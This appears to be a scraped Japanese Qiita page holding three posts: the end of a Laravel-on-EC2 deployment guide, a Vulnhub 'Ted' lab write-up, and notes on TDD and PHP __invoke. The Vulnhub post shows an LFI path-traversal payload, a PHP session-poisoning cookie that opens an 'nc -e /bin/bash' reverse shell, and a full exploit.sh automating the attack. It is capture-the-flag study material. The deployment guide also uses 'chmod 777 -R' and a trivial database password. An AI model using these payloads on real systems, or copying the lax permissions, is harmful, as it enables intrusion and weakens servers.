ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo apt install php7.4-mbstring php-xml php-json ⑦LaravelをインストールしてWelcome画面表示する 1,Laravelをインストール //コンポーザーをインストール。(ここでエラーが出る場合、PHPに必要なものが入っていないのでググってインストールしよう!) ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo composer install //composer install 時は .env 環境変数ファイルは作成されないので、 .env.example を元にコピーして作成します ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo cp .env.example .env ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ cd ../ //backend以下の権限がないため権限を変更する ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject$ sudo chmod 777 -R backend/ ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject$ cd backend/ //アプリケーションキーを生成する ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ php artisan key:generate Application key set successfully. //APP_KEY=base64:bfeLkhwqXIFbGtwhaJOp0TpfHTJD3Q+SRi7lVwB・・・・となっていることを確認。 2,welcome画面を表示する http://(EC2インスタンスのパブリックIPアドレス) をgoogleでアクセス! ↑のようなものが表示されたらOK!! ⑧データベースを作成する ※【ギリ初心者向け】Laravel Docker AWS(EC2) Webアプリ(PHP)を0から簡単にデプロイする方法(無料) ②で作成した合わせるのでファイルをみながらすすめます。 1,mysqlにログインしてユーザーを作成する。 ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo mysql -u root -p //PWを求められますがrootユーザーはMACに入るときのPW を入力 Enter password: ・・・・・・ //mysqlに入れたことを確認 mysql> 2,プロジェクトの.envファイルをみながらユーザー、DBを作成する! その前にプロジェクトの.envファイルのDBの部分をみる DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=sg_db DB_USERNAME=sg DB_PASSWORD=sg //sgというdbユーザーを作成。PWはsg mysql> create user 'sg'@'localhost' identified by 'sg'; Query OK, 0 rows affected (0.01 sec) //databaseを作る権限をsgユーザーに付与する mysql> GRANT ALL ON sg_db.* TO 'sg'@'localhost'; Query OK, 0 rows affected (0.00 sec) //mysqlからでる mysql> exit; Bye ubuntu@ip-自分のIP:~$ sudo mysql -u sg -p //PWはさっき設定したsg Enter password: //データベースを作成する mysql> create database sg_db; Query OK, 1 row affected (0.01 sec)w mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | sg_db | +--------------------+ //抜ける mysql> exit; Bye 3,テーブルを作るためにマイグレーションを実行する! まずはマイグレーションを実行するために、mysqlに接続できるように設定を変更する。 ※マイグレーションがうまくいかなかったら都度ググりましょう!結構うまくいかないパターンはあります。。キャッシュがたまっていたり。。。 ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo vi .env //DBの部分を↓に変更。HOSTはlocalhost DB_CONNECTION=mysql DB_HOST=localhost DB_PORT=3306 DB_DATABASE=sg_db DB_USERNAME=sg DB_PASSWORD=sg ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ sudo php artisan migrate Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_create_users_table (65.08ms) Migrating: 2014_10_12_100000_create_password_resets_table Migrated: 2014_10_12_100000_create_password_resets_table (55.04ms) Migrating: 2019_08_19_000000_create_failed_jobs_table Migrated: 2019_08_19_000000_create_failed_jobs_table (59.14ms) Migrating: 2021_01_03_090902_create_people_table Migrated: 2021_01_03_090902_create_people_table (31.46ms) //マイグレーションできたらデータベースの中にテーブルが作られていることを確認すると良い //この流れでSeederも入れてしまおう。 ubuntu@ip-自分のIP:/var/www/DockerLaravelTestProject/backend$ php artisan db:seed Seeding: Database\Seeders\PeopleTableSeeder Seeded: Database\Seeders\PeopleTableSeeder (11.62ms) Database seeding completed successfully. 4,アプリを表示して接続を確認! http://(EC2インスタンスのパブリックIPアドレス)/hello これにて終了です。 お疲れ様でした。 これでLaravelアプリをEC2にデプロイすることができました!!ここのDBとかをmysqlworkbenchとかで管理できたら良いですね!! それでは良いWebアプリ制作ライフを!!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Vulnhub】Tedをやってみた

はじめに ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。 そのためポートスキャンや権限昇格といった内容は省略しています。 このブログを参考にしています。こっちの方が分かりやすいかもしれません。 Ted - Authenticated Local File Inclusion Ted サーバー名: Ted: 1 リリース日: 2019年7月16日 作者: Avraham Cohen シリーズ: Ted 認証バイパス Index.phpはログインフォームで、formのaction属性にauthenticate.phpが指定されています。 Index.php <form action="authenticate.php" method="post"> authentication.phpでは、SQLステートメントで安全な認証を行っているように見えます。 authenticate.php <?php // Prepare our SQL, preparing the SQL statement will prevent SQL injection. if ($stmt = $con->prepare('SELECT id, password FROM accounts WHERE username = ?')) { // Bind parameters (s = string, i = int, b = blob, etc), in our case the username is a string so we use "s" $stmt->bind_param('s', $_POST['username']); $stmt->execute(); // Store the result so we can check if the account exists in the database. $stmt->store_result(); } if ($stmt->num_rows > 0) { $stmt->bind_result($id, $password); $stmt->fetch(); ?> 情報を取得した後、パスワードを検証しています。 authenticate.php <?php if ($_POST['password'] == $password) { // Verification success! User has loggedin! ... } elseif ($_POST['password'] == "admin") { echo "<p>Password hash is not correct, make sure to hash it before submit.</p>"; } else {...} ?> ハッシュ化されたadminが正しいパスワードなのか確かめたい。 authenticate.phpにある認証情報で、Tedのデータベースにアクセスしてみます。 $DATABASE_HOST = 'localhost'; $DATABASE_USER = 'user'; $DATABASE_PASS = 'password'; $DATABASE_NAME = 'dbname' 以下のコマンドで、ハッシュがデータベースに保存されているかを確認します。 mysql -uuser -ppassword dbname -e 'select password from accounts where username="admin";' 2>/dev/null | grep -P "[A-Z0-9]+ sha256ハッシュが確認できました。 Tedマシンで以下ののスクリプトを実行しログインします。 retrive.sh #!/bin/bash # Retrieve the hash from the DB dbhash=$(mysql -uuser -ppassword dbname -e 'select password from accounts where username="admin";' 2>/dev/null | grep -P "[A-Z0-9]+") # Generate the sha256 of "admin" in uppercase, to match the case of the DB hash hash=$(printf admin | sha256sum | awk '{print toupper($1)}') # Compare the two hashes if [[ "$dbhash" == "$hash" ]]; then echo "TRUE" else echo "FALSE" fi ログイン後、authenticate.phpの認証機能を確認します。 authenticate.php内で、ログイン直後にユーザーがhome.phpにリダイレクトされていることを確認できます。 authenticate.php <?php if ($_POST['password'] == $password) { ... header('Location: home.php'); LFI home.phpには、2種類の脆弱性が確認できます。 home.php <?php 1. if (isset($_POST['search'])) { 2. echo "Showing results for ".$_POST['search'].":"; 3. ... 4. } 5. include($_POST['search']); 2行目:検索パラメーターにフィルターがかかっていないので、XSSが発生する可能性がある。 5行目:検索パラメーターがページに含まれているため、LFIが発生する可能性がある。検索ボックス../../../etc/passwdを挿入するとpasswdファイルが閲覧できます。 $ _SESSIONオブジェクトは、/var/lib/php/session/に保存されます。 ファイル名には、sess_ prefixとPHPSESSIDが設定されます。(この場合、sess_0oqh1580kqa1q9s4srsbnue2b0) そのため、$ _SESSIONの値を自由に設定でき、セッションファイルにPHPペイロードも挿入できます。 クッキーにuser_pref=<?php system('nc -e /bin/bash MYIPADDRESS 443')?>を追加します・ ログイン後してhome.phpが呼び出された後、以下のセッションファイルの内容確認できます。 root@ubuntu:/var/lib/php/sessions# cat sess_hrcagu6l6tdqfunma6ftltkvj3 loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:52:"<?php system('nc -e /bin/bash MYIPADDRESS 443')?>"; RCEスクリプト 以下のステップでシェルを奪います。 - Webアプリにログイン - セッションファイルにPHPバックドアを挿入 - LFIでバッグクドアを発動 exploit.sh #!/bin/bash proxy="-x http://127.0.0.1:8080" backdoor="user_pref=<?php system('nc -e /bin/bash 192.168.226.129 443')?>" echo "[+] Logging In"; cookie=$(curl -ksi -X POST -H "Cookie: PHPSSESID=$cookie" --data-binary 'username=admin&password=8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918' 'http://ted.local/authenticate.php' $proxy | grep 'PHPSESSID' | awk -F"=" '{print $2}' | tail -n 1 | awk -F";" '{print $1}') sleep 1 echo "[+] Injecting Backdoor"; curl -ksi -X GET 'http://ted.local/home.php' -H "Cookie: PHPSESSID=$cookie; $backdoor" $proxy &>/dev/null echo "[+] Getting evil shell.."; sleep 1 curl -ksi -X POST -H "Cookie: PHPSESSID=$cookie; $backdoor" --data-binary "search=../../../var/lib/php/sessions/sess_$cookie" 'http://ted.local/home.php' $proxy &>/dev/null echo "[+] Done!";
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【ミライトデザイン社内勉強会#24】テスト駆動開発、自動テストについて。PHPのinvokeメソッドについて。

Laravelでテスト駆動開発を実際にやってみて、感想や疑問に思ったことをディスカッションした。 テスト駆動開発について フィーチャーテストってプレゼンテーション層のテストって認識でいいの? Laravelではコントローラーのテストをフィーチャーテストとして行っている Laravelの場合はフレームワークに依存するテストはフィーチャーテスト、依存しないテストはUnitテストにかくことが多い Laravelではこうすることが多いってだけで、フレームワークに依存するからフィーチャーテストってわけじゃない 複数のクラスをつなぎ合わせてテストするのがフィーチャーテスト 部品をつなぎ合わせてテストを行うことが目的 単体のクラスやメソッドをテストするのがUnitテスト コントローラーのテストとかモデルのテストとかではなく、機能のテストとか繋ぎ込みのテストとかが観点となる 引数を1つずつ追加してテストしながら実装をしていたけど、最初に設計ができていればある程度メソッドを実装した上でテストできそうだけど、どうなの? 細かくテストするのは別にいい。細かい単位でテストしていくことで前にテストが通った実装が保証される 設計を考えながらやっていくような時に、一個一個テストしながらしたりする 小さいユニットテストのすすめ 今はモックのDBとか準備するのが面倒なので基本Unitテストしか書いてないけど、実際テストはどの程度書くものなの? テストピラミッド テストは末端の方が低コストなので、費用対効果で考えると良さげ DB テストサボってブラウザ操作をリリースのたびに超しなきゃいけないなら書く、とか バグには出るべきフェーズがある basic auth の設定間違いにブラウザテストで気づくのは妥当 料金計算が間違ってるのにブラウザテストで気づくのは遅い 妥当なフェーズで妥当なコストでやろうって考えると良さげ ダミーデータを毎回入れてくれる機能があればやってる Laravel8で完成されたModelFactoryの使い方 全て書くのに越したことはないが、全部が全部書いていくことは難しいので、費用対効果が高いテストを書くのがいい。最悪の最悪ユースケースのフィーチャーテストだけでも書いた方がいい フィーチャーテストって基本はUseCaseに書くイメージであってる?? Controllerにかくことが多い 開発中にフィーチャーテストをすると重たくなることが多いので、開発中はUnitテストをして、プルリク出すときに1回だけ実行することが多い DIすればUseCaseの単体テストもできる。 ほとんど書くことなくてスカスカになりがちだけど みんなは実際にコードを書くときにテスト駆動開発を行っている? テストは書いているけど、テスト駆動開発と呼べるものは行っていない 最初にコードを全部書いて、その後にテストを書いている コードを書いて、テストを書く、を繰り返している。今書いたコードが間違っていないことをテストで保証して、次のコードを描き始めるイメージ。 PHPのinvokeメソッドの使い所かわからない Laravelでinvokeを使う事でシングルアクションコントローラーになる PHPの「マジックメソッド」とは――「set()」「get()」「__invoke()」の使い方 invokeメソッドがある = シングルアクションコントローラーであることが明示される invokeに強制力はないけど(invokeがあっても他のメソッドも追加できてしまう) class Doubler { public function __invoke($n) { return $n * 2; } } $doubler = new Doubler(); $this->assertEquals( [2, 4, 6], array_map($doubler, [1, 2, 3]) ); array_map とかにはまりやすいというメリットはある ↓ をシンプルにかける $this->assertEquals( [2, 4, 6], array_map(function($n) { return $n * 2; }, [1, 2, 3]) ); 憶測だけど、無名関数の文法ができる前には価値があったんじゃあないかな ↓ 今は再利用したいなら別にこうやって無名関数を束縛すれば、別にいちいちクラスを作らなくても済むし、という意味 $doubler = function($n) { return $n * 2; }; Laravelの場合、 __invoke をコントローラで書くとルーティングがシンプルになる // Laravel側で __invoke メソッドが呼ばれる Route::post('/price', PriceController::class)->name('price'); // Laravel側で price メソッドが呼ばれる Route::post('/price', [PriceController::class, 'price'])->name('price'); https://qiita.com/mitsuru793/items/e25b4351e8a63a229b8a#invokeしかできないこと マジックメソッド PHPが準備してくれている関数 + PHPが勝手に呼び出してくれる関数 magic method は __toString が一番イメージしやすいかも class Foo { public function __toString() { return "I'm hoge-san."; } } $foo = new Foo(); $this->assertEquals("Hello, $foo", "Hello, I'm hoge-san.");
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む